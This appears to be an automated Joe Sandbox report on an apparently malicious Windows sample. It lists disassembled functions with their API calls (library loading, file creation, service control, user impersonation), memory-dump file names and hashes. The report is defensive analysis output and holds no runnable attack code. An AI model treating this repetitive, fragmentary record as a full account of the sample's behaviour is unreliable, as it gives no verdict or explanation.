Source File: 00000002.00000002.1981381301.0000000000BCF000.00000040.00000001.01000000.00000006.sdmp, Offset: 00A50000, based on PE: true

Associated: 00000002.00000002.1981128163.0000000000A50000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981148495.0000000000A52000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981166764.0000000000A56000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981184648.0000000000A5A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981207223.0000000000A66000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981303719.0000000000BBA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981321567.0000000000BBC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981342988.0000000000BCD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981361574.0000000000BCE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981381301.0000000000BD7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981421247.0000000000BE2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981440640.0000000000BE5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981459341.0000000000BEC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981476639.0000000000BEE000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981494450.0000000000BEF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981512219.0000000000BF2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981534187.0000000000C07000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981551632.0000000000C08000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981569946.0000000000C10000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981588647.0000000000C1C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981607495.0000000000C27000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981627093.0000000000C2B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981647839.0000000000C3B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981665153.0000000000C3D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981682049.0000000000C3E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981699234.0000000000C43000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981718234.0000000000C50000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981736966.0000000000C54000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981754567.0000000000C5C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981772156.0000000000C5D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981790641.0000000000C6B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981809140.0000000000C6F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981825884.0000000000C70000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981842907.0000000000C71000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981859776.0000000000C72000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981877868.0000000000C7B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981898227.0000000000C8B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981914783.0000000000C8E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981931113.0000000000C8F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981947651.0000000000C92000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981975509.0000000000CD1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981992110.0000000000CD4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1982007705.0000000000CD5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1982007705.0000000000CDB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1982043103.0000000000CEC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1982060934.0000000000CEE000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a50000_FT773VWATWFL9SRK5RTU4.jbxd

Similarity

API ID: LibraryLoad
String ID: l,?
API String ID: 1029625771-1842788620
Opcode ID: 83e369cf19dd9d5925b6da26cfc77ccdbc57b52dbf5a39ba26fee5e5d3ec672d
Instruction ID: c38ab16aa73c229d451c67a29fcb2a53b3c420450866af7392b6a426b3f67716
Opcode Fuzzy Hash: 83e369cf19dd9d5925b6da26cfc77ccdbc57b52dbf5a39ba26fee5e5d3ec672d
Instruction Fuzzy Hash: 054119F250C601AFE309AF18E981ABEBBF9FF94721F12882DE2C582600D7345485CB57

Function 00BCF5B0 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 73
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 00BCF5B0

Strings

~P?, xrefs: 00BCF680

Memory Dump Source

Source File: 00000002.00000002.1981381301.0000000000BCF000.00000040.00000001.01000000.00000006.sdmp, Offset: 00A50000, based on PE: true

Associated: 00000002.00000002.1981128163.0000000000A50000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981148495.0000000000A52000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981166764.0000000000A56000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981184648.0000000000A5A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981207223.0000000000A66000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981303719.0000000000BBA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981321567.0000000000BBC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981342988.0000000000BCD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981361574.0000000000BCE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981381301.0000000000BD7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981421247.0000000000BE2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981440640.0000000000BE5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981459341.0000000000BEC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981476639.0000000000BEE000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981494450.0000000000BEF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981512219.0000000000BF2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981534187.0000000000C07000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981551632.0000000000C08000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981569946.0000000000C10000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981588647.0000000000C1C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981607495.0000000000C27000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981627093.0000000000C2B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981647839.0000000000C3B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981665153.0000000000C3D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981682049.0000000000C3E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981699234.0000000000C43000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981718234.0000000000C50000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981736966.0000000000C54000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981754567.0000000000C5C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981772156.0000000000C5D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981790641.0000000000C6B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981809140.0000000000C6F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981825884.0000000000C70000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981842907.0000000000C71000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981859776.0000000000C72000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981877868.0000000000C7B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981898227.0000000000C8B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981914783.0000000000C8E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981931113.0000000000C8F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981947651.0000000000C92000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981975509.0000000000CD1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981992110.0000000000CD4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1982007705.0000000000CD5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1982007705.0000000000CDB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1982043103.0000000000CEC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1982060934.0000000000CEE000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a50000_FT773VWATWFL9SRK5RTU4.jbxd

Similarity

API ID: LibraryLoad
String ID: ~P?
API String ID: 1029625771-535435090
Opcode ID: c0f30bb6311836feb06df8f86c5cfa887b4633c2659c8523b646b6fee8f56e2e
Instruction ID: ffd3f60206e45af9ef9cfd5f817ecb50d050e68ca48616a536f6bb6eab0a67cb
Opcode Fuzzy Hash: c0f30bb6311836feb06df8f86c5cfa887b4633c2659c8523b646b6fee8f56e2e
Instruction Fuzzy Hash: F82145B250C300EFD7012F29D946A7EBBFAEFA5320F12086DE2C486214DB754585CB93

Function 00BD3409 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 24
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE(00000011), ref: 00BD3418

Strings

C, xrefs: 00BD3614

Memory Dump Source

Source File: 00000002.00000002.1981381301.0000000000BCF000.00000040.00000001.01000000.00000006.sdmp, Offset: 00A50000, based on PE: true

Associated: 00000002.00000002.1981128163.0000000000A50000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981148495.0000000000A52000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981166764.0000000000A56000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981184648.0000000000A5A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981207223.0000000000A66000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981303719.0000000000BBA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981321567.0000000000BBC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981342988.0000000000BCD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981361574.0000000000BCE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981381301.0000000000BD7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981421247.0000000000BE2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981440640.0000000000BE5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981459341.0000000000BEC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981476639.0000000000BEE000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981494450.0000000000BEF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981512219.0000000000BF2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981534187.0000000000C07000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981551632.0000000000C08000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981569946.0000000000C10000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981588647.0000000000C1C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981607495.0000000000C27000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981627093.0000000000C2B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981647839.0000000000C3B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981665153.0000000000C3D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981682049.0000000000C3E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981699234.0000000000C43000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981718234.0000000000C50000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981736966.0000000000C54000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981754567.0000000000C5C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981772156.0000000000C5D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981790641.0000000000C6B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981809140.0000000000C6F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981825884.0000000000C70000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981842907.0000000000C71000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981859776.0000000000C72000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981877868.0000000000C7B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981898227.0000000000C8B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981914783.0000000000C8E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981931113.0000000000C8F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981947651.0000000000C92000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981975509.0000000000CD1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981992110.0000000000CD4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1982007705.0000000000CD5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1982007705.0000000000CDB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1982043103.0000000000CEC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1982060934.0000000000CEE000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a50000_FT773VWATWFL9SRK5RTU4.jbxd

Similarity

API ID: CreateFile
String ID: C
API String ID: 823142352-1037565863
Opcode ID: ac8712695e6defb1a3eaa074b55b18d0b7bdbcc0abc1b39304df3bef2facc71d
Instruction ID: ba9f077d98ca3f00f1138d98344a0632213ad5cd2f9090832f07290cd441a408
Opcode Fuzzy Hash: ac8712695e6defb1a3eaa074b55b18d0b7bdbcc0abc1b39304df3bef2facc71d
Instruction Fuzzy Hash: D3E0D87119829975D311DE34CC997CA77C1CB21B10F104394E644977D2D0F99D418349

Function 00BDE5F9 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 17
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 00BDE5FC

Strings

Go,u, xrefs: 00BDF96A

Memory Dump Source

Source File: 00000002.00000002.1981381301.0000000000BD7000.00000040.00000001.01000000.00000006.sdmp, Offset: 00A50000, based on PE: true

Associated: 00000002.00000002.1981128163.0000000000A50000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981148495.0000000000A52000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981166764.0000000000A56000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981184648.0000000000A5A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981207223.0000000000A66000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981303719.0000000000BBA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981321567.0000000000BBC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981342988.0000000000BCD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981361574.0000000000BCE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981381301.0000000000BCF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981421247.0000000000BE2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981440640.0000000000BE5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981459341.0000000000BEC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981476639.0000000000BEE000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981494450.0000000000BEF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981512219.0000000000BF2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981534187.0000000000C07000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981551632.0000000000C08000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981569946.0000000000C10000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981588647.0000000000C1C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981607495.0000000000C27000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981627093.0000000000C2B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981647839.0000000000C3B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981665153.0000000000C3D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981682049.0000000000C3E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981699234.0000000000C43000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981718234.0000000000C50000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981736966.0000000000C54000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981754567.0000000000C5C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981772156.0000000000C5D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981790641.0000000000C6B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981809140.0000000000C6F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981825884.0000000000C70000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981842907.0000000000C71000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981859776.0000000000C72000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981877868.0000000000C7B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981898227.0000000000C8B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981914783.0000000000C8E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981931113.0000000000C8F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981947651.0000000000C92000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981975509.0000000000CD1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981992110.0000000000CD4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1982007705.0000000000CD5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1982007705.0000000000CDB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1982043103.0000000000CEC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1982060934.0000000000CEE000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a50000_FT773VWATWFL9SRK5RTU4.jbxd

Similarity

API ID: LibraryLoad
String ID: Go,u
API String ID: 1029625771-2102582680
Opcode ID: 501ba4e49b96634d3ca3af238e7a22d193fa3403cd99af0a0872ca05d76ac06d
Instruction ID: 28490bff4c0ae3dbc093470af8bf5031035a7b408ded98dbd64be33f45e9320c
Opcode Fuzzy Hash: 501ba4e49b96634d3ca3af238e7a22d193fa3403cd99af0a0872ca05d76ac06d
Instruction Fuzzy Hash: E1D05EB552CA0AABC3402F58D48867BBEE8EB06340F111D9EA1C6C1B00E2798490CE2E

Function 07530D42 Relevance: 1.6, APIs: 1, Instructions: 62
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenSCManagerW.ADVAPI32(00000000,00000000,?), ref: 07530DCD

Memory Dump Source

Source File: 00000002.00000002.1984169892.0000000007530000.00000040.00000800.00020000.00000000.sdmp, Offset: 07530000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7530000_FT773VWATWFL9SRK5RTU4.jbxd

Similarity

API ID: ManagerOpen
String ID:
API String ID: 1889721586-0
Opcode ID: e6023128651a6ef64a9dbdc6da27c17e41e5f3d86afb3429177c61d32c560762
Instruction ID: 8a84a0427cf99eb14d3242729101df1590b1dde717ecb9524309eaea9c64f65b
Opcode Fuzzy Hash: e6023128651a6ef64a9dbdc6da27c17e41e5f3d86afb3429177c61d32c560762
Instruction Fuzzy Hash: 5B2133B6C003199FCB50CF99D885ADEFBF5FB88320F14851AE808AB254D774A541CFA4

Function 07530D48 Relevance: 1.6, APIs: 1, Instructions: 59
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenSCManagerW.ADVAPI32(00000000,00000000,?), ref: 07530DCD

Memory Dump Source

Source File: 00000002.00000002.1984169892.0000000007530000.00000040.00000800.00020000.00000000.sdmp, Offset: 07530000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7530000_FT773VWATWFL9SRK5RTU4.jbxd

Similarity

API ID: ManagerOpen
String ID:
API String ID: 1889721586-0
Opcode ID: 86b46b60c580411fca5a78da8d3ddccaaa0d4f3c3403e3654d0e5330f70db71d
Instruction ID: 366df644b6d532574c8103698f02db9996ae78f239f2a3440349839aed8ecead
Opcode Fuzzy Hash: 86b46b60c580411fca5a78da8d3ddccaaa0d4f3c3403e3654d0e5330f70db71d
Instruction Fuzzy Hash: 002113B6C002199FCB50CF99D885ADEFBF5FB88320F14855AD908AB254D774A544CFA4

Function 07531509 Relevance: 1.6, APIs: 1, Instructions: 56
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ControlService.ADVAPI32(?,?,?), ref: 07531580

Memory Dump Source

Source File: 00000002.00000002.1984169892.0000000007530000.00000040.00000800.00020000.00000000.sdmp, Offset: 07530000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7530000_FT773VWATWFL9SRK5RTU4.jbxd

Similarity

API ID: ControlService
String ID:
API String ID: 253159669-0
Opcode ID: c9d2eaf2df6b09eb71360378ef655d1249414a97b685f518821c5153538b31a2
Instruction ID: fc28bb445af722846057ff19cf5b75403bdcbb291fb95d093ec034303fd77cda
Opcode Fuzzy Hash: c9d2eaf2df6b09eb71360378ef655d1249414a97b685f518821c5153538b31a2
Instruction Fuzzy Hash: 3C2114B1D006499FDB10CFAAC985BDEFBF4FB48320F10842AE559A3250D778A644CFA5

Function 07531510 Relevance: 1.6, APIs: 1, Instructions: 54
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ControlService.ADVAPI32(?,?,?), ref: 07531580

Memory Dump Source

Source File: 00000002.00000002.1984169892.0000000007530000.00000040.00000800.00020000.00000000.sdmp, Offset: 07530000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7530000_FT773VWATWFL9SRK5RTU4.jbxd

Similarity

API ID: ControlService
String ID:
API String ID: 253159669-0
Opcode ID: 83dfecc0da32176e6b934bff7609cfe9b6c1c8d4471dbf4090924089e17dd8e7
Instruction ID: 278b1ce85976aac8f42ddf85d7c3f41bd7bb824e1301ad87dff7242549647690
Opcode Fuzzy Hash: 83dfecc0da32176e6b934bff7609cfe9b6c1c8d4471dbf4090924089e17dd8e7
Instruction Fuzzy Hash: 1211E4B1D006499FDB10CFAAC985BDEFBF4FB48320F14842AE559A3250D778A644CFA5

Function 07531301 Relevance: 1.5, APIs: 1, Instructions: 48
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ImpersonateLoggedOnUser.KERNELBASE ref: 07531367

Memory Dump Source

Source File: 00000002.00000002.1984169892.0000000007530000.00000040.00000800.00020000.00000000.sdmp, Offset: 07530000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7530000_FT773VWATWFL9SRK5RTU4.jbxd

Similarity

API ID: ImpersonateLoggedUser
String ID:
API String ID: 2216092060-0
Opcode ID: 9d3375af2b7e5e63b6d7dbe0327594b4963b1c6436e49718e20f8b6dc27c799f
Instruction ID: 6823ac01a45b950cfb17ff38ccb67aea9c245697a1c39b842260fa0fd3609033
Opcode Fuzzy Hash: 9d3375af2b7e5e63b6d7dbe0327594b4963b1c6436e49718e20f8b6dc27c799f
Instruction Fuzzy Hash: FA1125B1800649CFDB10CFAAD985BDEFBF8EB48320F24846AD558A3650D778A544CFA5

Function 07531308 Relevance: 1.5, APIs: 1, Instructions: 47
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ImpersonateLoggedOnUser.KERNELBASE ref: 07531367

Memory Dump Source

Source File: 00000002.00000002.1984169892.0000000007530000.00000040.00000800.00020000.00000000.sdmp, Offset: 07530000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7530000_FT773VWATWFL9SRK5RTU4.jbxd

Similarity

API ID: ImpersonateLoggedUser
String ID:
API String ID: 2216092060-0
Opcode ID: fabf6a56c2863fcc15b1c59a1449575fb529cfba916de36b681a69ffe2f36e71
Instruction ID: 82e74447dbc6883760546a2f73f417b49cba6ec2e7688a70c1b77f343de61f09
Opcode Fuzzy Hash: fabf6a56c2863fcc15b1c59a1449575fb529cfba916de36b681a69ffe2f36e71
Instruction Fuzzy Hash: 351106B1800649CFDB10CFAAC945BDEFBF8EB48324F24845AD558A3650D778A544CFA5

Function 00BD3567 Relevance: 1.5, APIs: 1, Instructions: 45
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE ref: 00BD35CB

Memory Dump Source

Source File: 00000002.00000002.1981381301.0000000000BCF000.00000040.00000001.01000000.00000006.sdmp, Offset: 00A50000, based on PE: true

Associated: 00000002.00000002.1981128163.0000000000A50000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981148495.0000000000A52000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981166764.0000000000A56000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981184648.0000000000A5A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981207223.0000000000A66000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981303719.0000000000BBA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1981321567.0000000000BBC000.00000080.00000001.01000000.00000006.sdmpDownload File
